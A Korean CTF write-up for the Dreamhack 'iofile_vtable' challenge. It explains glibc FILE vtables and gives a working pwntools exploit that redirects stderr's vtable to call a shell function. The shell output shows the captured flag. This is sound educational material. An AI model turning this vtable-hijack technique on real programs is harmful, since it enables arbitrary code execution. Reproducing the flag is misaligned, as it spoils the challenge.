dreamhack - iofile_vtable writeup
[dreamhack] iofile_vtable writeup
1. 문제

이 문제는 서버에서 작동하고 있는 서비스(iofile_vtable)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
셸을 획득한 후, 'flag' 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char name[8];
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
int idx = 0;
int sel;
initialize();
printf("what is your name: ");
read(0, name, 8);
while(1) {
printf("1. print\n");
printf("2. error\n");
printf("3. read\n");
printf("4. chance\n");
printf("> ");
scanf("%d", &sel);
switch(sel) {
case 1:
printf("GOOD\n");
break;
case 2:
fprintf(stderr, "ERROR\n");
break;
case 3:
fgetc(stdin);
break;
case 4:
printf("change: ");
read(0, stderr + 1, 8);
break;
default:
break;
}
}
return 0;
}
4개의 선택지를 통해 코드를 수행하며, 4번을 입력하면 stderr+1
위치에 8바이트만큼 쓸 수 있다.
iofile
및 vtable
에 대해서 전혀 모르는 상태에서 이 문제를 접하다보니 어떻게 공부해야할지 막막했다.
먼저 gdb
를 보자.
pwndbg> disass main
Dump of assembler code for function main:
0x000000000040095b <+0>: push rbp
0x000000000040095c <+1>: mov rbp,rsp
0x000000000040095f <+4>: sub rsp,0x20
0x0000000000400963 <+8>: mov DWORD PTR [rbp-0x14],edi
0x0000000000400966 <+11>: mov QWORD PTR [rbp-0x20],rsi
0x000000000040096a <+15>: mov rax,QWORD PTR fs:0x28
0x0000000000400973 <+24>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400977 <+28>: xor eax,eax
0x0000000000400979 <+30>: mov DWORD PTR [rbp-0xc],0x0
0x0000000000400980 <+37>: mov eax,0x0
0x0000000000400985 <+42>: call 0x4008ee <initialize>
0x000000000040098a <+47>: mov edi,0x400b25
0x000000000040098f <+52>: mov eax,0x0
0x0000000000400994 <+57>: call 0x400730 <printf@plt>
0x0000000000400999 <+62>: mov edx,0x8
0x000000000040099e <+67>: mov esi,0x6010d0
0x00000000004009a3 <+72>: mov edi,0x0
0x00000000004009a8 <+77>: call 0x400760 <read@plt>
0x00000000004009ad <+82>: mov edi,0x400b39
0x00000000004009b2 <+87>: call 0x400710 <puts@plt>
0x00000000004009b7 <+92>: mov edi,0x400b42
0x00000000004009bc <+97>: call 0x400710 <puts@plt>
0x00000000004009c1 <+102>: mov edi,0x400b4b
0x00000000004009c6 <+107>: call 0x400710 <puts@plt>
0x00000000004009cb <+112>: mov edi,0x400b53
0x00000000004009d0 <+117>: call 0x400710 <puts@plt>
0x00000000004009d5 <+122>: mov edi,0x400b5d
0x00000000004009da <+127>: mov eax,0x0
0x00000000004009df <+132>: call 0x400730 <printf@plt>
0x00000000004009e4 <+137>: lea rax,[rbp-0x10]
0x00000000004009e8 <+141>: mov rsi,rax
0x00000000004009eb <+144>: mov edi,0x400b60
0x00000000004009f0 <+149>: mov eax,0x0
0x00000000004009f5 <+154>: call 0x4007a0 <__isoc99_scanf@plt>
0x00000000004009fa <+159>: mov eax,DWORD PTR [rbp-0x10]
0x00000000004009fd <+162>: cmp eax,0x2
0x0000000000400a00 <+165>: je 0x400a26 <main+203>
0x0000000000400a02 <+167>: cmp eax,0x2
0x0000000000400a05 <+170>: jg 0x400a0e <main+179>
0x0000000000400a07 <+172>: cmp eax,0x1
0x0000000000400a0a <+175>: je 0x400a1a <main+191>
0x0000000000400a0c <+177>: jmp 0x400a86 <main+299>
0x0000000000400a0e <+179>: cmp eax,0x3
0x0000000000400a11 <+182>: je 0x400a46 <main+235>
0x0000000000400a13 <+184>: cmp eax,0x4
0x0000000000400a16 <+187>: je 0x400a57 <main+252>
0x0000000000400a18 <+189>: jmp 0x400a86 <main+299>
0x0000000000400a1a <+191>: mov edi,0x400b63
0x0000000000400a1f <+196>: call 0x400710 <puts@plt>
0x0000000000400a24 <+201>: jmp 0x400a86 <main+299>
0x0000000000400a26 <+203>: mov rax,QWORD PTR [rip+0x200693] # 0x6010c0 <stderr@@GLIBC_2.2.5>
0x0000000000400a2d <+210>: mov rcx,rax
0x0000000000400a30 <+213>: mov edx,0x6
0x0000000000400a35 <+218>: mov esi,0x1
0x0000000000400a3a <+223>: mov edi,0x400b68
0x0000000000400a3f <+228>: call 0x4007c0 <fwrite@plt>
0x0000000000400a44 <+233>: jmp 0x400a86 <main+299>
0x0000000000400a46 <+235>: mov rax,QWORD PTR [rip+0x200663] # 0x6010b0 <stdin@@GLIBC_2.2.5>
0x0000000000400a4d <+242>: mov rdi,rax
0x0000000000400a50 <+245>: call 0x400740 <fgetc@plt>
0x0000000000400a55 <+250>: jmp 0x400a86 <main+299>
0x0000000000400a57 <+252>: mov edi,0x400b6f
0x0000000000400a5c <+257>: mov eax,0x0
0x0000000000400a61 <+262>: call 0x400730 <printf@plt>
0x0000000000400a66 <+267>: mov rax,QWORD PTR [rip+0x200653] # 0x6010c0 <stderr@@GLIBC_2.2.5>
0x0000000000400a6d <+274>: add rax,0xd8
0x0000000000400a73 <+280>: mov edx,0x8
0x0000000000400a78 <+285>: mov rsi,rax
0x0000000000400a7b <+288>: mov edi,0x0
0x0000000000400a80 <+293>: call 0x400760 <read@plt>
0x0000000000400a85 <+298>: nop
0x0000000000400a86 <+299>: jmp 0x4009ad <main+82>
End of assembler dump.
마지막 부분을 보면 4번을 선택시 수행되는 코드가 있는데 read
함수를 실행하는데 stderr
이 가리키는 위치에서 0xd8
만큼 더한 위치에 입력을 받는 것을 볼 수 있다.
이 위치에 대체 뭐가 있는지 확인해보자.
pwndbg> x/10gx &stderr
0x6010c0 <stderr@@GLIBC_2.2.5>: 0x00007ffff7e044e0 0x0000000000000000
0x6010d0 <name>: 0x0000000000000000 0x0000000000000000
0x6010e0: 0x0000000000000000 0x0000000000000000
0x6010f0: 0x0000000000000000 0x0000000000000000
0x601100: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x00007ffff7e044e0+0xd8
0x7ffff7e045b8 <_IO_2_1_stderr_+216>: 0x00007ffff7e02030 0x00000000fbad2084
0x7ffff7e045c8 <_IO_2_1_stdout_+8>: 0x0000000000000000 0x0000000000000000
0x7ffff7e045d8 <_IO_2_1_stdout_+24>: 0x0000000000000000 0x0000000000000000
0x7ffff7e045e8 <_IO_2_1_stdout_+40>: 0x0000000000000000 0x0000000000000000
0x7ffff7e045f8 <_IO_2_1_stdout_+56>: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x00007ffff7e02030
0x7ffff7e02030 <_IO_file_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e02040 <_IO_file_jumps+16>: 0x00007ffff7c91a40 0x00007ffff7c92df0
0x7ffff7e02050 <_IO_file_jumps+32>: 0x00007ffff7c92640 0x00007ffff7c955a0
0x7ffff7e02060 <_IO_file_jumps+48>: 0x00007ffff7c96de0 0x00007ffff7c939e0
0x7ffff7e02070 <_IO_file_jumps+64>: 0x00007ffff7c93d20 0x00007ffff7c93160
우선 main
함수에 breakpoint를 걸어야 함수들이 할당이 된다. 이후 stderr
는 0x00007ffff7e044e0
주소를 가리키고 있다.
해당 주소에 0xd8
을 더해서 확인해보면 0x00007ffff7e02030
주소가 들어있고, 해당 주소를 확인해보면 _IO_file_jumps
라는 것을 가리킨다.
이게 대체 뭔가 싶어서 알아봤더니 아래와 같다.
2.1. _IO_FILE과 _IO_FILE_plus
_IO_FILE
은 리눅스 시스템 표준 라이브러리에서 파일 스트림을 나타내기 위한 구조체이며, 우리가 아는 fopen(),fclose(),fwrite()…와 같은 함수들에 대해서 적용된다.
해당 구조체는 아래와 같이 정의되어 있다.
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
그런데 실제 파일 스트림을 열때는 _IO_FILE
이 아닌 _IO_FILE_plus
구조체를 사용한다. 이는 파일스트림에서의 함수 호출을 용이하게 하기 위해서 기존의 _IO_FILE
구조체에 더해서 가상 함수테이블인 vtable
을 넣어 만든 구조체이다.
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
여기서 바로 vtable
구조체가 있는 것을 볼 수 있다.
2.2. vtable
vtable
구조체는 아래와 같이 생겼다.
struct _IO_jump_t {
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_uflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
이 구조체는 gdb
에서도 tel
명령어를 통해 확인할 수 있다.
pwndbg> tel _IO_2_1_stderr_->vtable 30
00:0000│ 0x7ffff7e02030 (_IO_file_jumps) ◂— 0
01:0008│ 0x7ffff7e02038 (_IO_file_jumps+8) ◂— 0
02:0010│ 0x7ffff7e02040 (_IO_file_jumps+16) —▸ 0x7ffff7c91a40 (_IO_file_finish) ◂— endbr64
03:0018│ 0x7ffff7e02048 (_IO_file_jumps+24) —▸ 0x7ffff7c92df0 (_IO_file_overflow) ◂— endbr64
04:0020│ 0x7ffff7e02050 (_IO_file_jumps+32) —▸ 0x7ffff7c92640 (_IO_file_underflow) ◂— endbr64
05:0028│ 0x7ffff7e02058 (_IO_file_jumps+40) —▸ 0x7ffff7c955a0 (_IO_default_uflow) ◂— endbr64
06:0030│ 0x7ffff7e02060 (_IO_file_jumps+48) —▸ 0x7ffff7c96de0 (_IO_default_pbackfail) ◂— endbr64
07:0038│ 0x7ffff7e02068 (_IO_file_jumps+56) —▸ 0x7ffff7c939e0 (_IO_file_xsputn) ◂— endbr64
08:0040│ 0x7ffff7e02070 (_IO_file_jumps+64) —▸ 0x7ffff7c93d20 (__GI__IO_file_xsgetn) ◂— endbr64
09:0048│ 0x7ffff7e02078 (_IO_file_jumps+72) —▸ 0x7ffff7c93160 (_IO_file_seekoff) ◂— endbr64
0a:0050│ 0x7ffff7e02080 (_IO_file_jumps+80) —▸ 0x7ffff7c95cc0 (_IO_default_seekpos) ◂— endbr64
0b:0058│ 0x7ffff7e02088 (_IO_file_jumps+88) —▸ 0x7ffff7c92400 (_IO_file_setbuf) ◂— endbr64
0c:0060│ 0x7ffff7e02090 (_IO_file_jumps+96) —▸ 0x7ffff7c93010 (_IO_file_sync) ◂— endbr64
0d:0068│ 0x7ffff7e02098 (_IO_file_jumps+104) —▸ 0x7ffff7c85120 (_IO_file_doallocate) ◂— endbr64
0e:0070│ 0x7ffff7e020a0 (_IO_file_jumps+112) —▸ 0x7ffff7c938b0 (_IO_file_read) ◂— endbr64
0f:0078│ 0x7ffff7e020a8 (_IO_file_jumps+120) —▸ 0x7ffff7c93940 (_IO_file_write) ◂— endbr64
10:0080│ 0x7ffff7e020b0 (_IO_file_jumps+128) —▸ 0x7ffff7c938d0 (_IO_file_seek) ◂— endbr64
11:0088│ 0x7ffff7e020b8 (_IO_file_jumps+136) —▸ 0x7ffff7c93930 (_IO_file_close) ◂— endbr64
12:0090│ 0x7ffff7e020c0 (_IO_file_jumps+144) —▸ 0x7ffff7c938e0 (_IO_file_stat) ◂— endbr64
13:0098│ 0x7ffff7e020c8 (_IO_file_jumps+152) —▸ 0x7ffff7c96f90 (_IO_default_showmanyc) ◂— endbr64
14:00a0│ 0x7ffff7e020d0 (_IO_file_jumps+160) —▸ 0x7ffff7c96fa0 (_IO_default_imbue) ◂— endbr64
파일스트림을 조작하는 함수가 실행 시 이 구조체 내의 함수 주소로 점프하여 실행된다.
예를 들어 fprintf
함수가 실행되면, JUMP_FIELD(_IO_xsputn_t, __xsputn);
로 점프하여 함수를 호출하게 된다.
따라서 만약 vtable
주소가 조작된다면 이를 기준으로 가리키는 함수포인터가 모두 변경되며, 이를 활용해서 원하는 함수나 코드를 실행할 수 있는 것이다.
2.3. exploit
정리하자면 stderr+1
이 가리키는 것은 stderr -> vtable
주소였고, vtable
은 fprintf
등의 함수 실행시 호출하는 주소를 가지고 있다.
fprintf
함수 호출 시 현재 코드 흐름은 아래와 같다.
- 1.
vtable
주소 참조 - 2.
vtable
주소를 기준으로 0x8 * 7 위치의JUMP_FIELD(_IO_xsputn_t, __xsputn);
를 실행
만약 vtable
주소를 name
변수 주소에서 0x38 (0x8 * 7)
을 뺀 주소로 하면, fprintf
함수 실행 시 name
변수 주소가 가리키는 함수가 실행될 것이다.
그리고 name
변수에는 get_shell
주소를 넣으면 exploit이 성공할 것이다.
따라서 변경될 코드 흐름은 아래와 같다.
- 1.
name_addr - 0x38
주소 참조 - 2.
name
주소에 들어있는get_shell
함수가 실행
이제 이를 이용하여 exploit을 작성해보자.
from pwn import *
p = process("./iofile_vtable")
p = remote("host3.dreamhack.games", 11350)
elf = ELF("./iofile_vtable")
get_shell = elf.symbols["get_shell"]
name_addr = elf.symbols["name"]
p.sendafter("name: ", p64(get_shell))
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("change: ")
p.send(p64(name_addr - 0x38))
p.recvuntil("> ")
p.sendline("2")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level1/iofile_vtable$ python3 e_iofile_vtable.py
[+] Starting local process './iofile_vtable': pid 2210240
[+] Opening connection to host3.dreamhack.games on port 11350: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/iofile_vtable/iofile_vtable'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
/home/ubuntu/.local/lib/python3.12/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("> ")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("4")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("change: ")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:17: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("> ")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:18: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("2")
[*] Switching to interactive mode
$ id
uid=1000(iofile_vtable) gid=1000(iofile_vtable) groups=1000(iofile_vtable)
$ cat flag
DH{9f746608b2c9239b6b80eb5bbcae06ed}
3. 추가 의견
추가로, 이 exploit은 glibc 2.23
까지만 가능하고, glibc 2.24
버전부터는 _IO_validate_table
함수가 생겨서 overwrite이 발생했는지 확인한다고 한다.
실제로 서버환경에서 바이너리가 사용중인 라이브러리 의존성을 확인했더니 glibc 2.23
버전이었다.
ubuntu@instance-20250406-1126:~/dreamhack/level1/iofile_vtable$ python3 e_iofile_vtable.py
[+] Starting local process './iofile_vtable': pid 2210249
[+] Opening connection to host3.dreamhack.games on port 11350: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/iofile_vtable/iofile_vtable'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
/home/ubuntu/.local/lib/python3.12/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("> ")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("4")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("change: ")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:17: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("> ")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:18: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("2")
[*] Switching to interactive mode
$ ldd
$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
지금은 문제풀이 내에 해당 내용을 포함했지만 IO_FILE
과 vtable
에 대해서는 나중에 따로 빼서 정리를 해야할 것 같다.
새로운 개념을 알게되어 좋았다…
해결~